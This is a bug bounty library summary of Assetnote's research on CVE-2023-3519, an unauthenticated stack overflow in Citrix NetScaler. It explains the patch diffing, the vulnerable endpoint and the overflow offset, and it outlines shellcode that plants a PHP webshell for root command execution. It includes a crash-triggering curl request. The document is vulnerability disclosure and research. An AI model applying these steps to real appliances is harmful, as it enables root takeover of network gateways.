# Finding and Exploiting Citrix NetScaler Buffer Overflow (CVE-2023-3519) (Part 3)

Unauthenticated stack buffer overflow in NetScaler ns_aaa_saml_url_decode via /gwtest/formssso target param enables RCE as root.

- Payout: Research
- Severity: critical
- Program: Citrix
- Write-up by: Assetnote
- Disclosed: 2025-02-12
- CVE: CVE-2023-3519
- Write-up quality: 9/10
- Original: https://www.assetnote.io/resources/research/finding-and-exploiting-citrix-netscaler-buffer-overflow-cve-2023-3519-part-3
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-finding-and-exploiting-citrix-netscaler-buffer-overflow-cve-2023-3519-part-3
- Tags: area:devices domain:network impact:rce kind:research platform:research sev:critical tech:linux technique:reverse-engineering technique:source-review vuln:auth-bypass vuln:memory-corruption vuln:rce

**Target:** Citrix ADC/Gateway nsppe binary, /gwtest/formssso endpoint
**Root cause:** ns_aaa_gwtest_get_event_and_target_names passes the unbounded 'target' query value to ns_aaa_saml_url_decode which copies it into a fixed 168-byte stack buffer; patch added a 0x80 length check.
**Steps:**
1. BinDiff patched 13.1-49.13 vs unpatched 13.1-48.47 nsppe; spot added `iVar3 < 0x80` check in ns_aaa_gwtest_get_event_and_target_names
2. Trace callers to ns_aaa_gwtest_handler (/formssso) and ns_vpn_process_unauthenticated_request (/gwtest/)
3. Send `curl -k 'https://host/gwtest/formssso?event=start&target=AAAA...'` to crash
4. Set up GDB via serial-over-telnet (serial0.fileType=network) and suspend pitboss to debug nsppe
5. Determine offset: `'A'*160 + 'B'*8 + 'C'*8 + 'D'*8` overwrites return address with 0x4343...
6. Craft shellcode writing /var/vpn/theme/x.php webshell via FreeBSD open/write/close syscalls, return to stack at 0x7fffffffc16d
7. Cleanup: `add rsp,0x30; pop rbp; ret` to resume ns_vpn_process_unauthenticated_request
8. Request `/vpn/theme/x.php?0=uname%20-a` to execute commands
**How found:** Patch diffing nsppe with BinDiff/Ghidra revealed a new length check in ns_aaa_gwtest_get_event_and_target_names; traced call graph to unauthenticated /gwtest/formssso endpoint and confirmed crash with long target param.
**Exploitation:** Unauthenticated attacker sends crafted GET to /gwtest/formssso with oversized target param; stack is executable and ASLR absent, so shellcode in buffer is executed, writing a PHP webshell to /var/vpn/theme/ then invoked for RCE as root.
**Escalation:** None needed; runs in nsppe with root privileges and full network stack, no auth required.
**Insight:** When patch-diffing large binaries, textual comparison of Ghidra decompiled functions flagged by BinDiff finds added bounds checks fast; also, appliance binaries bundling network stack often lack ASLR/NX/canaries, making even simple overflows trivially exploitable.

## Proof of concept (copied exactly from the original report)

**Crash-triggering curl request to /gwtest/formssso**

```
$ curl -k 'https://192.168.1.225/gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
```

